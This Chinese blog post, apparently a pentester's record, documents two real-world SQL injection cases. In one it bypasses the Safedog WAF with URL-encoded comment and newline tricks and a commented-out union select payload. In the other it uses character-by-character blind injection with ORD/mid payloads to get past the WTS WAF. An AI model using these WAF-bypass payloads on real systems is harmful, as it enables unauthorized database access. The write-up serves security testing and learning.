payload sql注入_记录几个实战sql绕过

前段时间的几次渗透测试中有几个有意思的sql注入,记录一下注入的绕过过程,网站地址及部分信息都有模糊处理,并已反映给相关单位。

0x01 案例一 绕安全狗

加',报错,连sql语句都给了出来,典型的注入,原本以为属于可以直接一把梭的站

a9ff6d19400cd9c99b548b1ad5b5f340.png

order by查字段遭遇安全狗拦截

0088f20cf7e6a8f75c75dd0ba33d6a6f.png

现在需要手动绕过,感觉这个安全狗应该是比较老的版本

过滤字符:

order by

union select

Length(database())

……

不过滤单个字符,只过滤了相关组合查询语句,一番手动测试成功测出%23%0a可以绕过安全狗拦截

查字段payload:

%20order%23%0aby%2013%23

%23: #

%0a: 换行符

70721512caf590c36434250db713bdd7.png

根据是否报错,查询出有13个字段,但是当使用联合查询注入或盲注时这个payload失效,再次绕过安全狗

终极bypass如下,采用注释绕过,同时#必须用%23,不然会被安全狗拦截

/*&ID=-20 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23*/

3fd48de1d5a7818c102627a5cf6b8dde.png

0x02 案例二 盲注绕WTS

查询字段很顺利,直接order by 2查出2个字段但是联合查询注入失败,各种绕过都试了下均失败

a42ac099e9a806ffdfe71732e6845415.png

又试了下盲注,居然过了,只是过程稍显麻烦

数据库长度为9

and Length(database())>9%23

然后burp抓包,设置爆破范围

379e881bae7f4898fcff187cdd87f1e0.png

and ORD(mid(database(),1,1))=95%23

设置AIISC范围95~122,因为mysql默认不区分大小写,默认都为小写

b0aa9c3e80a2ab582e3a33483a9e6706.png

一位一位爆库

258f6ca6125d5978d1c6c97fc2293ac0.png

不再赘述。


作者:zjun     文章来源:https://www.zjun.info/2020/sqlina.html


关注公众号:HACK之道

5237b05c1d07da422cfc3548f9394c72.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值